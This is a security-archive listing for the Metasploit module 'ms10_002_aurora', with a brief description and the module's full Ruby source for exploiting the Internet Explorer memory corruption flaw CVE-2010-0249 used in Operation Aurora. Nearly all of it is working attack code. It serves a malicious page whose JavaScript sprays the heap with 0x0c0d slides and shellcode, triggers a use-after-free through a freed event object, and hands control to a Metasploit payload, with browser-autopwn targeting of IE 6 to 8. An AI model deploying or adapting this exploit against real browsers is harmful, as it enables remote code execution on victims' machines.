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Internet Explorer "Aurora" Memory Corruption

Internet Explorer "Aurora" Memory Corruption
Posted Mar 11, 2010
Site metasploit.com

This Metasploit module exploits a memory corruption flaw in Internet Explorer. This flaw was found in the wild and was a key component of the "Operation Aurora" attacks that lead to the compromise of a number of high profile companies. The exploit code is a direct port of the public sample published to the Wepawet malware analysis site. The technique used by this module is currently identical to the public sample, as such, only Internet Explorer 6 can be reliably exploited.

tags | exploit
advisories | CVE-2010-0249
SHA-256 | 0ba5be9c3fc1e65562aeb4e5496513b06e2e1230824a7d5e57fd95077d38074f

Internet Explorer "Aurora" Memory Corruption

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##
# $Id: ms10_002_aurora.rb 8780 2010-03-11 05:49:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})


def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer "Aurora" Memory Corruption',
'Description' => %q{
This module exploits a memory corruption flaw in Internet Explorer. This
flaw was found in the wild and was a key component of the "Operation Aurora"
attacks that lead to the compromise of a number of high profile companies. The
exploit code is a direct port of the public sample published to the Wepawet
malware analysis site. The technique used by this module is currently identical
to the public sample, as such, only Internet Explorer 6 can be reliably exploited.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown',
'hdm' # Metasploit port
],
'Version' => '$Revision: 8780 $',
'References' =>
[
['MSB', 'MS10-002'],
['CVE', '2010-0249'],
['OSVDB', '61697'],
['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'],
['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js']

],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Jan 14 2009', # wepawet sample
'DefaultTarget' => 0))
end

def on_request_uri(cli, request)

if (request.uri.match(/\.gif/i))
data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0]
send_response(cli, data, { 'Content-Type' => 'image/gif' })
return
end

var_boom = rand_text_alpha(rand(100) + 1)

var_element = rand_text_alpha(rand(100) + 1)
var_event = rand_text_alpha(rand(100) + 1)
var_loaded = rand_text_alpha(rand(100) + 1)
var_loaded_arg = rand_text_alpha(rand(100) + 1)

var_memory = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)

var_el_array = rand_text_alpha(rand(100) + 1)
bleh = rand_text_alpha(3);
var_grab_mem = rand_text_alpha(rand(100) + 1)

var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)

var_span_id = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
rand_html = rand_text_english(rand(400) + 500)

html = %Q|<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<script>
var #{var_element} = "COMMENT";
var #{var_el_array} = new Array();
for (i = 0; i < 1300; i++)
{
#{var_el_array}[i] = document.createElement(#{var_element});
#{var_el_array}[i].data = "#{bleh}";
}
var #{var_event} = null;
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
function #{var_boom}()
{
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
}
function #{var_loaded}(#{var_loaded_arg})
{
#{var_boom}();
#{var_event} = document.createEventObject(#{var_loaded_arg});
document.getElementById("#{var_span_id}").innerHTML = "";
window.setInterval(#{var_grab_mem}, 50);
}
function #{var_grab_mem}()
{
p = "\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
for (i = 0; i < #{var_el_array}.length; i++)
{
#{var_el_array}[i].data = p;
}
var t = #{var_event}.srcElement;
}
</script>
</head>
<body>
<span id="#{var_span_id}"><iframe src="#{get_resource}#{var_start}.gif" onload="#{var_loaded}(event)" /></span></body></html>
</body>
</html>|

print_status("Sending #{self.name} to client #{cli.peerhost}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

# Handle the payload
handler(cli)
end
end

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